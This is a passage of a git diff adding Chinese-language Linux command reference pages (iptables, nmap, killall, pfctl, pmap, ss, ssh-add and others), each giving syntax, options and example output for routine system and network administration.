0.0.0.0/0 0.0.0.0/0 + +Chain FORWARD (policy ACCEPT 0 packets, 0 bytes) + pkts bytes target prot opt in out source destination + +Chain OUTPUT (policy ACCEPT 3382K packets, 1819M bytes) + pkts bytes target prot opt in out source destination + 5075 589K ACCEPT all -- * lo 0.0.0.0/0 0.0.0.0/0 +``` + + **删除已添加的iptables规则** + +将所有iptables以序号标记显示,执行: + +``` +iptables -L -n --line-numbers +``` + +比如要删除INPUT里序号为8的规则,执行: + +``` +iptables -D INPUT 8 +``` + + + \ No newline at end of file diff --git a/command/iptraf.md b/command/iptraf.md new file mode 100644 index 0000000000..0200f4e792 --- /dev/null +++ b/command/iptraf.md @@ -0,0 +1,32 @@ +iptraf +=== + +实时地监视网卡流量 + +## 补充说明 + +**iptraf命令** 可以实时地监视网卡流量,可以生成网络协议数据包信息、以太网信息、网络节点状态和ip校验和错误等信息。 + +### 语法 + +``` +iptraf(选项) +``` + +### 选项 + +``` +-i网络接口:立即在指定网络接口上开启IP流量监视; +-g:立即开始生成网络接口的概要状态信息; +-d网络接口:在指定网络接口上立即开始监视明细的网络流量信息; +-s网络接口:在指定网络接口上立即开始监视TCP和UDP网络流量信息; +-z网络接口:在指定网络接口上显示包计数; +-l网络接口:在指定网络接口上立即开始监视局域网工作站信息; +-t时间:指定iptraf指令监视的时间; +-B;将标注输出重新定向到“/dev/null”,关闭标注输入,将程序作为后台进程运行; +-f:清空所有计数器; +-h:显示帮助信息。 +``` + + + \ No newline at end of file diff --git a/command/iptstate.md b/command/iptstate.md new file mode 100644 index 0000000000..598b2d5703 --- /dev/null +++ b/command/iptstate.md @@ -0,0 +1,31 @@ +iptstate +=== + +显示iptables的工作状态 + +## 补充说明 + +**iptstate命令** 以top指令类似的风格时显示Linux内核中iptables的工作状态。 + +### 语法 + +``` +iptstate(选项) +``` + +### 选项 + +``` +-b:指定输出信息的排序规则; +-d:不动态地改变窗口大小; +-f:过滤本地回送信息; +-l:将ip地址解析为域名; +-L:隐藏于DNS查询相关状态; +-r:指定刷新屏幕的频率; +-R:反序排列; +-s:单次运行模式; +-t:显示汇总信息。 +``` + + + \ No newline at end of file diff --git a/command/killall.md b/command/killall.md new file mode 100644 index 0000000000..b1510642f3 --- /dev/null +++ b/command/killall.md @@ -0,0 +1,43 @@ +killall +=== + +使用进程的名称来杀死一组进程 + +## 补充说明 + +**killall命令** 使用进程的名称来杀死进程,使用此指令可以杀死一组同名进程。我们可以使用kill命令杀死指定进程PID的进程,如果要找到我们需要杀死的进程,我们还需要在之前使用ps等命令再配合grep来查找进程,而killall把这两个过程合二为一,是一个很好用的命令。 + +### 语法 + +``` +killall(选项)(参数) +``` + +### 选项 + +``` +-e:对长名称进行精确匹配; +-l:忽略大小写的不同; +-p:杀死进程所属的进程组; +-i:交互式杀死进程,杀死进程前需要进行确认; +-l:打印所有已知信号列表; +-q:如果没有进程被杀死。则不输出任何信息; +-r:使用正规表达式匹配要杀死的进程名称; +-s:用指定的进程号代替默认信号“SIGTERM”; +-u:杀死指定用户的进程。 +``` + +### 参数 + +进程名称:指定要杀死的进程名称。 + +### 实例 + +杀死所有同名进程 + +``` +killall vi +``` + + + \ No newline at end of file diff --git a/command/lnstat.md b/command/lnstat.md new file mode 100644 index 0000000000..6d99c3a05d --- /dev/null +++ b/command/lnstat.md @@ -0,0 +1,30 @@ +lnstat +=== + +显示Linux系统的网路状态 + +## 补充说明 + +**lnstat命令** 用来显示Linux系统的网路状态。 + +### 语法 + +``` +lnstat(选项) +``` + +### 选项 + +``` +-h:显示帮助信息; +-V:显示指令版本信息; +-c:指定显示网络状态的次数,每隔一定时间显示一次网络状态; +-d:显示可用的文件或关键字; +-i:指定两次显示网络状的间隔秒数; +-k:只显示给定的关键字; +-s:是否显示标题头; +-w:指定每个字段所占的宽度。 +``` + + + \ No newline at end of file diff --git a/command/mii-tool.md b/command/mii-tool.md new file mode 100644 index 0000000000..3956eb7c78 --- /dev/null +++ b/command/mii-tool.md @@ -0,0 +1,73 @@ +mii-tool +=== + +配置网络设备协商方式的工具 + +## 补充说明 + +**mii-tool命令** 是用于查看、管理介质的网络接口的状态,有时网卡需要配置协商方式,比如10/100/1000M的网卡半双工、全双工、自动协商的配置。但大多数的网络设备是不用我们来修改协商,因为大多数网络设置接入的时候,都采用自动协商来解决相互通信的问题。不过自动协商也不是万能的,有时也会出现错误,比如丢包率比较高,这时就要我们来指定网卡的协商方式。mii-tool就是能指定网卡的协商方式。下面我们说一说mii-tool的用法。 + +### 语法 + +``` +usage: mii-tool [-VvRrwl] [-A media,... | -F media] [interface ...] +``` + +### 选项 + +``` +-V 显示版本信息; +-v 显示网络接口的信息; +-R 重设MII到开启状态; +-r 重启自动协商模式; +-w 查看网络接口连接的状态变化; +-l 写入事件到系统日志; +-A 指令特定的网络接口; +-F 更改网络接口协商方式; + +media: 100baseT4, 100baseTx-FD, 100baseTx-HD, 10baseT-FD, 10baseT-HD, +        (to advertise both HD and FD) 100baseTx, 10baseT +``` + +### 实例 + +查看网络接口的协商状态: + +``` +[root@localhost ~]# mii-tool -v eth0 +eth0: negotiated 100baseTx-FD, link ok +  product info: vendor 00:50:ef, model 60 rev 8 +  basic mode:   autonegotiation enabled +  basic status: autonegotiation complete, link ok +  capabilities: 100baseTx-FD 100baseTx-HD 10baseT-FD 10baseT-HD +  advertising:  100baseTx-FD 100baseTx-HD 10baseT-FD 10baseT-HD flow-control +  link partner: 100baseTx-FD 100baseTx-HD 10baseT-FD 10baseT-HD +``` + +注:上面的例子,我们可以看得到是自动协商,注意红字的部份。 + +更改网络接口协商方式: + +更改网络接口的协商方式,我们要用到`-F`选项,后面可以接100baseT4, 100baseTx-FD, 100baseTx-HD, 10baseT-FD, 10baseT-HD等参数; + +如果我们想把网络接口eth0改为1000Mb/s全双工的模式应该怎么办呢? + +``` +[root@localhost ~]# mii-tool -F 100baseTx-FD +[root@localhost ~]# mii-tool -v eth0 +eth0: 100 Mbit, full duplex, link ok + product info: vendor 00:00:00, model 0 rev 0 + basic mode: 100 Mbit, full duplex + basic status: link ok + capabilities: 100baseTx-FD 100baseTx-HD 10baseT-FD 10baseT-HD + advertising: 100baseTx-FD 100baseTx-HD 10baseT-FD 10baseT-HD +``` + +注:是不是已经改过来了?当然,我们也一样用ethtool工具来更改,比如执行下面的命令: + +``` +[root@localhost ~]# ethtool -s eth0 speed 100 duplex full +``` + + + \ No newline at end of file diff --git a/command/mysqlimport.md b/command/mysqlimport.md new file mode 100644 index 0000000000..f6fb644c41 --- /dev/null +++ b/command/mysqlimport.md @@ -0,0 +1,32 @@ +mysqlimport +=== + +为MySQL服务器用命令行方式导入数据 + +## 补充说明 + +**mysqlimport命令** 为mysql数据库服务器提供了一种命令行方式导入数据工具,它从特定格式的文本文件中读取数据插入MySQL数据库表中。 + +### 语法 + +``` +mysqlimport(选项)(参数) +``` + +### 选项 + +``` +-D:导入数据前清空表; +-f:出现错误时继续处理剩余的操作; +-h:MySQL服务器的ip地址或主机名; +-u:连接MySQL服务器的用户名; +-p:连接MySQL服务器的密码。 +``` + +### 参数 + +* 数据库名:指定要导入的数据库名称; +* 文本文件:包含特定格式文本文件。 + + + \ No newline at end of file diff --git a/command/newusers.md b/command/newusers.md new file mode 100644 index 0000000000..ebf85565e4 --- /dev/null +++ b/command/newusers.md @@ -0,0 +1,56 @@ +newusers +=== + +用于批处理的方式一次创建多个命令 + +## 补充说明 + +**newusers命令** 用于批处理的方式一次创建多个命令。 + +### 语法 + +``` +newusers(参数) +``` + +### 参数 + +用户文件:指定包含用户信息的文本文件,文件的格式要与`/etc/passwd`相同。 + +### 实例 + +实用newusers命令批量添加用户: + +用法很简单,newusers后面直接跟一个文件,文件格式和`/etc/passwd`的格式相同。 + +``` +用户名1:x:UID:GID:用户说明:用户的家目录:所用SHELL +``` + +举例: + +``` +jingang0:x:520:520::/home/jingang0:/sbin/nologin +jingang1:x:521:521::/home/jingang1:/sbin/nologin +...... +``` + +值得一提的是关于SHELL类型,查看主机上所有SHELL,可以通过chsh来查看: + +``` +[root@localhost beinan]# chsh --list +/bin/sh +/bin/bash +/sbin/nologin +/bin/ksh +/bin/tcsh +/bin/csh +/bin/zsh +``` + +其中除了`/sbin/nologin`,其它类型的SHELL都能登录系统,nologin大多是虚拟用户用的SHELL,也就是说虽然他是系统用户,但他并无登录系统的权限;如果您想添加这类用户,就把他的SHELL设置成`/sbin/nologin`,比如上面的例子。 + +关于用户名、UID、GID及用户的家目录是怎么回事,您可以读相应的参考文档。 + + + \ No newline at end of file diff --git a/command/nmap.md b/command/nmap.md new file mode 100644 index 0000000000..bb558a6452 --- /dev/null +++ b/command/nmap.md @@ -0,0 +1,72 @@ +nmap +=== + +网络探测和安全审核 + +## 补充说明 + +**nmap命令** 是一款开放源代码的网络探测和安全审核工具,它的设计目标是快速地扫描大型网络。 + +### 语法 + +``` +nmap(选项)(参数) +``` + +### 选项 + +``` +-O:激活操作探测; +-P0:值进行扫描,不ping主机; +-PT:是同TCP的ping; +-sV:探测服务版本信息; +-sP:ping扫描,仅发现目标主机是否存活; +-ps:发送同步(SYN)报文; +-PU:发送udp ping; +-PE:强制执行直接的ICMPping; +-PB:默认模式,可以使用ICMPping和TCPping; +-6:使用IPv6地址; +-v:得到更多选项信息; +-d:增加调试信息地输出; +-oN:以人们可阅读的格式输出; +-oX:以xml格式向指定文件输出信息; +-oM:以机器可阅读的格式输出; +-A:使用所有高级扫描选项; +--resume:继续上次执行完的扫描; +-P:指定要扫描的端口,可以是一个单独的端口,用逗号隔开多个端口,使用“-”表示端口范围; +-e:在多网络接口Linux系统中,指定扫描使用的网络接口; +-g:将指定的端口作为源端口进行扫描; +--ttl:指定发送的扫描报文的生存期; +--packet-trace:显示扫描过程中收发报文统计; +--scanflags:设置在扫描报文中的TCP标志。 +``` + +### 参数 + +ip地址:指定待扫描报文中的TCP地址。 + +### 实例 + + **安装nmap** + +``` +yum install nmap +``` + + **使用nmap扫描www.jsdig.com的开放端口** + +``` +[root@localhost ~]# nmap www.jsdig.com + +Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-12-28 00:06 CST +Interesting ports on 100-42-212-8.static.webnx.com (100.42.212.8): +Not shown: 1678 filtered ports +PORT STATE service +22/tcp open ssh +80/tcp open http + +Nmap finished: 1 IP address (1 host up) scanned in 45.870 seconds +``` + + + \ No newline at end of file diff --git a/command/nologin.md b/command/nologin.md new file mode 100644 index 0000000000..bbabbaca7f --- /dev/null +++ b/command/nologin.md @@ -0,0 +1,59 @@ +nologin +=== + +拒绝用户登录系统 + +## 补充说明 + +**nologin命令** 可以实现礼貌地拒绝用户登录系统,同时给出信息。如果尝试以这类用户登录,就在log里添加记录,然后在终端输出This account is currently not available信息,就是这样。一般设置这样的帐号是给启动服务的账号所用的,这只是让服务启动起来,但是不能登录系统。 + +### 语法 + +``` +nologin +``` + +### 实例 + +Linux禁止用户登录: + +禁止用户登录后,用户不能登录系统,但可以登录ftp、SAMBA等。我们在Linux下做系统维护的时候,希望个别用户或者所有用户不能登录系统,保证系统在维护期间正常运行。这个时候我们就要禁止用户登录。   + +1、禁止个别用户登录,比如禁止lynn用户登录。 + +``` +passwd -l lynn +``` + +这就话的意思是锁定lynn用户,这样该用户就不能登录了。   + +``` +passwd -u lynn +``` + +上面是对锁定的用户lynn进行解锁,用户可登录了。     + +2、我们通过修改`/etc/passwd`文件中用户登录的shell + +``` +vi /etc/passwd +``` + +更改为: + +``` +lynn:x:500:500::/home/lynn:/sbin/nologin +``` + +该用户就无法登录了。   + +3、禁止所有用户登录。 + +``` +touch /etc/nologin +``` + +除root以外的用户不能登录了。 + + + \ No newline at end of file diff --git a/command/pfctl.md b/command/pfctl.md new file mode 100644 index 0000000000..c97c2dee9f --- /dev/null +++ b/command/pfctl.md @@ -0,0 +1,69 @@ +pfctl +=== + +PF防火墙的配置命令 + +## 补充说明 + +**pfctl命令** 是PF防火墙的配置命令,PF防火墙( 全称:Packet Filter )是UNIX LIKE系统上进行TCP/ip流量过滤和网络地址转换的软件系统。PF同样也能提供TCP/IP流量的整形和控制,并且提供带宽控制和数据包优先集控制。PF最早是由Daniel Hartmeier开发的,现在的开发和维护由Daniel和openBSD小组的其他成员负责。 + +PF防火墙的功能很多,本站只列举一些基本配置。 + +### 激活 + +要激活pf并且使它在启动时调用配置文件,编辑`/etc/rc.conf`文件,修改配置pf的一行: + +``` +pf=yes +``` + +重启操作系统让配置生效。 + +也可以通过pfctl程序启动和停止pf: + +``` +# pfctl -e +# pfctl -d +``` + +注意这仅仅是启动和关闭PF,实际它不会载入规则集,规则集要么在系统启动时载入,要在PF启动后通过命令单独载入。 + +### 配置 + +系统引导到在rc脚本文件运行PF时PF从`/etc/pf.conf`文件载入配置规则。注意当`/etc/pf.conf`文件是默认配置文件,在系统调用rc脚本文件时,它仅仅是作为文本文件由pfctl装入并解释和插入pf的。对于一些应用来说,其他的规则集可以在系统引导后由其他文件载入。对于一些设计的非常好的unix程序,PF提供了足够的灵活性。 + + **pf.conf文件有7个部分:** + +1. 宏:用户定义的变量,包括IP地址,接口名称等等。 +2. 表:一种用来保存IP地址列表的结构。 +3. 选项:控制PF如何工作的变量。 +4. 整形:重新处理数据包,进行正常化和碎片整理。 +5. 排队:提供带宽控制和数据包优先级控制。 +6. 转换:控制网络地址转换和数据包重定向。 +7. 过滤规则:在数据包通过接口时允许进行选择性的过滤和阻止。 + +除去宏和表,其他的段在配置文件中也应该按照这个顺序出现,尽管对于一些特定的应用并不是所有的段都是必须的。 + +空行会被忽略,以#开头的行被认为是注释。 + +### 控制 + +引导之后,PF可以通过pfctl程序进行操作,以下是一些例子: + +``` +# pfctl -f /etc/pf.conf 载入 pf.conf 文件 +# pfctl -nf /etc/pf.conf 解析文件,但不载入 +# pfctl -Nf /etc/pf.conf 只载入文件中的NAT规则 +# pfctl -Rf /etc/pf.conf 只载入文件中的过滤规则 + +# pfctl -sn 显示当前的NAT规则 +# pfctl -sr 显示当前的过滤规则 +# pfctl -ss 显示当前的状态表 +# pfctl -si 显示过滤状态和计数 +# pfctl -sa 显示任何可显示的 +``` + +完整的命令列表,请参阅pfctl的man手册页。 + + + \ No newline at end of file diff --git a/command/pkill.md b/command/pkill.md new file mode 100644 index 0000000000..3cb7459fe3 --- /dev/null +++ b/command/pkill.md @@ -0,0 +1,42 @@ +pkill +=== + +可以按照进程名杀死进程 + +## 补充说明 + +**pkill命令** 可以按照进程名杀死进程。pkill和killall应用方法差不多,也是直接杀死运行中的程序;如果您想杀掉单个进程,请用kill来杀掉。 + +### 语法 + +``` +pkill(选项)(参数) +``` + +### 选项 + +``` +-o:仅向找到的最小(起始)进程号发送信号; +-n:仅向找到的最大(结束)进程号发送信号; +-P:指定父进程号发送信号; +-g:指定进程组; +-t:指定开启进程的终端。 +``` + +### 参数 + +进程名称:指定要查找的进程名称,同时也支持类似grep指令中的匹配模式。 + +### 实例 + +``` +pgrep -l gaim +2979 gaim + +pkill gaim +``` + +也就是说:kill对应的是PID,pkill对应的是command。 + + + \ No newline at end of file diff --git a/command/pmap.md b/command/pmap.md new file mode 100644 index 0000000000..6783f89023 --- /dev/null +++ b/command/pmap.md @@ -0,0 +1,124 @@ +pmap +=== + +报告进程的内存映射关系 + +## 补充说明 + +**pmap命令** 用于报告进程的内存映射关系,是Linux调试及运维一个很好的工具。 + +### 语法 + +``` +pmap(选项)(参数) +``` + +### 选项 + +``` +-x:显示扩展格式; +-d:显示设备格式; +-q:不显示头尾行; +-V:显示指定版本。 +``` + +### 参数 + +进程号:指定需要显示内存映射关系的进程号,可以是多个进程号。 + +### 实例 + +``` +pidof nginx +13312 5371 + +pmap -x 5371 +5371: nginx: worker process +Address Kbytes RSS Dirty Mode Mapping +0000000000400000 564 344 0 r-x-- nginx +000000000068c000 68 68 60 rw--- nginx +000000000069d000 56 12 12 rw--- [ anon ] +000000000a0c8000 1812 1684 1684 rw--- [ anon ] +0000003ac0a00000 112 40 0 r-x-- ld-2.5.so +0000003ac0c1c000 4 4 4 r---- ld-2.5.so +0000003ac0c1d000 4 4 4 rw--- ld-2.5.so +0000003ac0e00000 1340 284 0 r-x-- libc-2.5.so +0000003ac0f4f000 2044 0 0 ----- libc-2.5.so +0000003ac114e000 16 16 8 r---- libc-2.5.so +0000003ac1152000 4 4 4 rw--- libc-2.5.so +0000003ac1153000 20 20 20 rw--- [ anon ] +0000003ac1200000 8 4 0 r-x-- libdl-2.5.so +0000003ac1202000 2048 0 0 ----- libdl-2.5.so +0000003ac1402000 4 4 4 r---- libdl-2.5.so +0000003ac1403000 4 4 4 rw--- libdl-2.5.so +0000003ac1600000 84 0 0 r-x-- libselinux.so.1 +0000003ac1615000 2048 0 0 ----- libselinux.so.1 +0000003ac1815000 8 8 8 rw--- libselinux.so.1 +0000003ac1817000 4 4 4 rw--- [ anon ] +0000003ac1a00000 236 0 0 r-x-- libsepol.so.1 +0000003ac1a3b000 2048 0 0 ----- libsepol.so.1 +0000003ac1c3b000 4 4 4 rw--- libsepol.so.1 +0000003ac1c3c000 40 0 0 rw--- [ anon ] +0000003ac1e00000 88 44 0 r-x-- libpthread-2.5.so +0000003ac1e16000 2048 0 0 ----- libpthread-2.5.so +0000003ac2016000 4 4 4 r---- libpthread-2.5.so +0000003ac2017000 4 4 4 rw--- libpthread-2.5.so +0000003ac2018000 16 4 4 rw--- [ anon ] +0000003ac2600000 80 52 0 r-x-- libz.so.1.2.3 +0000003ac2614000 2044 0 0 ----- libz.so.1.2.3 +0000003ac2813000 4 4 4 rw--- libz.so.1.2.3 +0000003ac2a00000 36 4 0 r-x-- libcrypt-2.5.so +0000003ac2a09000 2044 0 0 ----- libcrypt-2.5.so +0000003ac2c08000 4 4 4 r---- libcrypt-2.5.so +0000003ac2c09000 4 4 4 rw--- libcrypt-2.5.so +0000003ac2c0a000 184 0 0 rw--- [ anon ] +0000003ac3600000 8 0 0 r-x-- libkeyutils-1.2.so +0000003ac3602000 2044 0 0 ----- libkeyutils-1.2.so +0000003ac3801000 4 4 4 rw--- libkeyutils-1.2.so +0000003ac3a00000 68 0 0 r-x-- libresolv-2.5.so +0000003ac3a11000 2048 0 0 ----- libresolv-2.5.so +0000003ac3c11000 4 4 4 r---- libresolv-2.5.so +0000003ac3c12000 4 4 4 rw--- libresolv-2.5.so +0000003ac3c13000 8 0 0 rw--- [ anon ] +0000003ac3e00000 8 0 0 r-x-- libcom_err.so.2.1 +0000003ac3e02000 2044 0 0 ----- libcom_err.so.2.1 +0000003ac4001000 4 4 4 rw--- libcom_err.so.2.1 +0000003ac4200000 1204 8 0 r-x-- libcrypto.so.0.9.8e +0000003ac432d000 2044 0 0 ----- libcrypto.so.0.9.8e +0000003ac452c000 132 88 12 rw--- libcrypto.so.0.9.8e +0000003ac454d000 16 12 12 rw--- [ anon ] +0000003ac4600000 176 0 0 r-x-- libgssapi_krb5.so.2.2 +0000003ac462c000 2048 0 0 ----- libgssapi_krb5.so.2.2 +0000003ac482c000 8 8 8 rw--- libgssapi_krb5.so.2.2 +0000003ac4a00000 144 0 0 r-x-- libk5crypto.so.3.1 +0000003ac4a24000 2044 0 0 ----- libk5crypto.so.3.1 +0000003ac4c23000 8 8 8 rw--- libk5crypto.so.3.1 +0000003ac4e00000 32 0 0 r-x-- libkrb5support.so.0.1 +0000003ac4e08000 2044 0 0 ----- libkrb5support.so.0.1 +0000003ac5007000 4 4 4 rw--- libkrb5support.so.0.1 +0000003ac5200000 580 0 0 r-x-- libkrb5.so.3.3 +0000003ac5291000 2048 0 0 ----- libkrb5.so.3.3 +0000003ac5491000 16 16 12 rw--- libkrb5.so.3.3 +0000003ac5a00000 288 4 0 r-x-- libssl.so.0.9.8e +0000003ac5a48000 2048 0 0 ----- libssl.so.0.9.8e +0000003ac5c48000 24 16 12 rw--- libssl.so.0.9.8e +00002b5751808000 8 8 8 rw--- [ anon ] +00002b5751810000 108 36 0 r-x-- libpcre.so.1.2.0 +00002b575182b000 2044 0 0 ----- libpcre.so.1.2.0 +00002b5751a2a000 4 4 4 rw--- libpcre.so.1.2.0 +00002b5751a2b000 28 28 28 rw--- [ anon ] +00002b5751a32000 40 20 0 r-x-- libnss_files-2.5.so +00002b5751a3c000 2044 0 0 ----- libnss_files-2.5.so +00002b5751c3b000 4 4 4 r---- libnss_files-2.5.so +00002b5751c3c000 4 4 4 rw--- libnss_files-2.5.so +00002b5751c3d000 4 4 4 rw-s- zero (deleted) +00002b5751c3e000 20012 20000 20000 rw--- [ anon ] +00007fffbf2ce000 84 20 20 rw--- [ stack ] +00007fffbf35e000 12 0 0 r-x-- [ anon ] +ffffffffff600000 8192 0 0 ----- [ anon ] +---------------- ------ ------ ------ +total kB 72880 22940 22000 +``` + + + \ No newline at end of file diff --git a/command/pwck.md b/command/pwck.md new file mode 100644 index 0000000000..62364fc3d7 --- /dev/null +++ b/command/pwck.md @@ -0,0 +1,53 @@ +pwck +=== + +用来验证系统认证文件内容和格式的完整性 + +## 补充说明 + +**pwck命令** 用来验证系统认证文件`/etc/passwd`和`/etc/shadow`的内容和格式的完整性。 + +### 语法 + +``` +pwck(选项)(参数) +``` + +### 选项 + +``` +-q:仅报告错误信息; +-s:以用户id排序文件“/etc/passwd”和“/etc/shadow”; +-r:只读方式运行指令。 +``` + +### 参数 + +* 密码文件:指定密码文件的路径; +* 影子文件:指定影子文件的路径。 + +### 实例 + +``` +pwck /etc/passwd +user 'lp': directory '/var/spool/lpd' does not exist +user 'news': directory '/var/spool/news' does not exist +user 'uucp': directory '/var/spool/uucp' does not exist +user 'www-data': directory '/var/www' does not exist +user 'list': directory '/var/list' does not exist +user 'irc': directory '/var/run/ircd' does not exist +user 'gnats': directory '/var/lib/gnats' does not exist +user 'nobody': directory '/nonexistent' does not exist +user 'syslog': directory '/home/syslog' does not exist +user 'couchdb': directory '/var/lib/couchdb' does not exist +user 'speech-dispatcher': directory '/var/run/speech-dispatcher' does not exist +user 'usbmux': directory '/home/usbmux' does not exist +user 'haldaemon': directory '/var/run/hald' does not exist +user 'pulse': directory '/var/run/pulse' does not exist +user 'saned': directory '/home/saned' does not exist +user 'hplip': directory '/var/run/hplip' does not exist +pwck:无改变 +``` + + + \ No newline at end of file diff --git a/command/runlevel.md b/command/runlevel.md new file mode 100644 index 0000000000..3346d2d4a2 --- /dev/null +++ b/command/runlevel.md @@ -0,0 +1,40 @@ +runlevel +=== + +打印当前Linux系统的运行等级 + +## 补充说明 + +**runlevel命令** 用于打印当前Linux系统的运行等级。 + +### 语法 + +``` +runlevel +``` + +### 知识扩展 + +linux操作系统自从开始启动至启动完毕需要经历几个不同的阶段,这几个阶段就叫做runlevel,同样,当linux操作系统关闭时也要经历另外几个不同的runlevel,下面我们就准备详细介绍一下runlevel,并向您展示一些小技巧来让您的linux系统避免不必要的重启动。 + +runlevel可以认为是系统状态,形象一点,您可以认为runlevel有点象微软的windows操作系统中的Normal,safemode,和command prompt only。进入每个runlevel都需要启动或关闭相应的一系列服务(services),这些服务(services)以初始化脚本的方式放置于目录`/etc/rc.d/rc?.d/`或者`/etc/rc?.d`下面(?代表runlevel的对应序号)。 + +在大多数的linux发行版本中,通常有8个runlevel: + +``` +0 停机 +1 单用户模式 +2 多用户,没有 NFS +3 完全多用户模式 +4 没有用到 +5 图形界面 +6 重新启动 +S s Single user mode +``` + +多数的桌面的linux系统缺省的runlevel是5,用户登陆时是图形界面,而多数的服务器版本的linux系统缺省的runlevel是3,用户登陆时是字符界面,runlevel 1和2除了调试之外很少使用,runlevel s和S并不是直接给用户使用,而是用来为Single user mode作准备。 + +linux的运行模式比起windows的启动模式的优势在于:你可以在系统空闲时使用init命令切换你现在使用的runlevel,另外,当你关闭或者启动linux系统时你已经不知不觉中切换你的runlevel,系统关机进程需要调用runlevel(0或6)来关闭所有正在运行中的进程。 + + + \ No newline at end of file diff --git a/command/service.md b/command/service.md new file mode 100644 index 0000000000..9b9df78339 --- /dev/null +++ b/command/service.md @@ -0,0 +1,59 @@ +service +=== + +控制系统服务的实用工具 + +## 补充说明 + +**service命令** 是Redhat Linux兼容的发行版中用来控制系统服务的实用工具,它以启动、停止、重新启动和关闭系统服务,还可以显示所有系统服务的当前状态。 + +### 语法 + +``` +service(选项)(参数) +``` + +### 选项 + +``` +-h:显示帮助信息; +--status-all:显示所服务的状态。 +``` + +### 参数 + +* 服务名:自动要控制的服务名,即`/etc/init.d`目录下的脚本文件名; +* 控制命令:系统服务脚本支持的控制命令。 + +### 实例 + +当修改了主机名、ip地址等信息时,经常需要把网络重启使之生效。 + +``` +service network status +配置设备: +lo eth0 +当前的活跃设备: +lo eth0 + +service network restart +正在关闭接口 eth0: [ 确定 ] +关闭环回接口: [ 确定 ] +设置网络参数: [ 确定 ] +弹出环回接口: [ 确定 ] +弹出界面 eth0: [ 确定 ] +``` + +重启mysql + +``` +service mysqld status +mysqld (pid 1638) 正在运行... + +service mysqld restart +停止 MySQL: [ 确定 ] +启动 MySQL: [ 确定 ] +``` + + + \ No newline at end of file diff --git a/command/sftp-server.md b/command/sftp-server.md new file mode 100644 index 0000000000..df42f382a9 --- /dev/null +++ b/command/sftp-server.md @@ -0,0 +1,17 @@ +sftp-server +=== + +sftp协议的服务器端程序 + +## 补充说明 + +**sftp-server命令** 是一个“sftp”协议的服务器端程序,它使用加密的方式进行文件传输。 + +### 语法 + +``` +sftp-server +``` + + + \ No newline at end of file diff --git a/command/ss.md b/command/ss.md new file mode 100644 index 0000000000..f3633efae9 --- /dev/null +++ b/command/ss.md @@ -0,0 +1,116 @@ +ss +=== + +获取socket统计信息 + +## 补充说明 + +**ss命令** 用来显示处于活动状态的套接字信息。ss命令可以用来获取socket统计信息,它可以显示和netstat类似的内容。但ss的优势在于它能够显示更多更详细的有关TCP和连接状态的信息,而且比netstat更快速更高效。 + +当服务器的socket连接数量变得非常大时,无论是使用netstat命令还是直接`cat /proc/net/tcp`,执行速度都会很慢。可能你不会有切身的感受,但请相信我,当服务器维持的连接达到上万个的时候,使用netstat等于浪费 生命,而用ss才是节省时间。 + +天下武功唯快不破。ss快的秘诀在于,它利用到了TCP协议栈中tcp_diag。tcp_diag是一个用于分析统计的模块,可以获得Linux 内核中第一手的信息,这就确保了ss的快捷高效。当然,如果你的系统中没有tcp_diag,ss也可以正常运行,只是效率会变得稍慢。 + +### 语法 + +``` +ss(选项) +``` + +### 选项 + +``` +-h:显示帮助信息; +-V:显示指令版本信息; +-n:不解析服务名称,以数字方式显示; +-a:显示所有的套接字; +-l:显示处于监听状态的套接字; +-o:显示计时器信息; +-m:显示套接字的内存使用情况; +-p:显示使用套接字的进程信息; +-i:显示内部的TCP信息; +-4:只显示ipv4的套接字; +-6:只显示ipv6的套接字; +-t:只显示tcp套接字; +-u:只显示udp套接字; +-d:只显示DCCP套接字; +-w:仅显示RAW套接字; +-x:仅显示UNIX域套接字。 +``` + +### 实例 + + **显示ICP连接** + +``` +[root@localhost ~]# ss -t -a +State Recv-Q Send-Q Local Address:Port Peer Address:Port +LISTEN 0 0 *:3306 *:* +LISTEN 0 0 *:http *:* +LISTEN 0 0 *:ssh *:* +LISTEN 0 0 127.0.0.1:smtp *:* +ESTAB 0 0 112.124.15.130:42071 42.156.166.25:http +ESTAB 0 0 112.124.15.130:ssh 121.229.196.235:33398 +``` + + **显示 Sockets 摘要** + +``` +[root@localhost ~]# ss -s +Total: 172 (kernel 189) +TCP: 10 (estab 2, closed 4, orphaned 0, synrecv 0, timewait 0/0), ports 5 + +Transport Total ip IPv6 +* 189 - - +RAW 0 0 0 +UDP 5 5 0 +TCP 6 6 0 +INET 11 11 0 +FRAG 0 0 0 +``` + +列出当前的established, closed, orphaned and waiting TCP sockets + + **列出所有打开的网络连接端口** + +``` +[root@localhost ~]# ss -l +Recv-Q Send-Q Local Address:Port Peer Address:Port +0 0 *:3306 *:* +0 0 *:http *:* +0 0 *:ssh *:* +0 0 127.0.0.1:smtp *:* +``` + + **查看进程使用的socket** + +``` +[root@localhost ~]# ss -pl +Recv-Q Send-Q Local Address:Port Peer Address:Port +0 0 *:3306 *:* users:(("mysqld",1718,10)) +0 0 *:http *:* users:(("nginx",13312,5),("nginx",13333,5)) +0 0 *:ssh *:* users:(("sshd",1379,3)) +0 0 127.0.0.1:smtp *:* us +``` + + **找出打开套接字/端口应用程序** + +``` +[root@localhost ~]# ss -pl | grep 3306 +0 0 *:3306 *:* users:(("mysqld",1718,10)) +``` + + **显示所有UDP Sockets** + +``` +[root@localhost ~]# ss -u -a +State Recv-Q Send-Q Local Address:Port Peer Address:Port +UNCONN 0 0 *:syslog *:* +UNCONN 0 0 112.124.15.130:ntp *:* +UNCONN 0 0 10.160.7.81:ntp *:* +UNCONN 0 0 127.0.0.1:ntp *:* +UNCONN 0 0 *:ntp *:* +``` + + + \ No newline at end of file diff --git a/command/ssh-add.md b/command/ssh-add.md new file mode 100644 index 0000000000..1534da4892 --- /dev/null +++ b/command/ssh-add.md @@ -0,0 +1,53 @@ +ssh-add +=== + +把专用密钥添加到ssh-agent的高速缓存中 + +## 补充说明 + +**ssh-add命令** 是把专用密钥添加到ssh-agent的高速缓存中。该命令位置在`/usr/bin/ssh-add`。 + +### 语法 + +``` +ssh-add [-cDdLlXx] [-t life] [file ...] +ssh-add -s pkcs11 +ssh-add -e pkcs11 +``` + +### 选项 + +``` +-D:删除ssh-agent中的所有密钥. +-d:从ssh-agent中的删除密钥 +-e pkcs11:删除PKCS#11共享库pkcs1提供的钥匙。 +-s pkcs11:添加PKCS#11共享库pkcs1提供的钥匙。 +-L:显示ssh-agent中的公钥 +-l:显示ssh-agent中的密钥 +-t life:对加载的密钥设置超时时间,超时ssh-agent将自动卸载密钥 +-X:对ssh-agent进行解锁 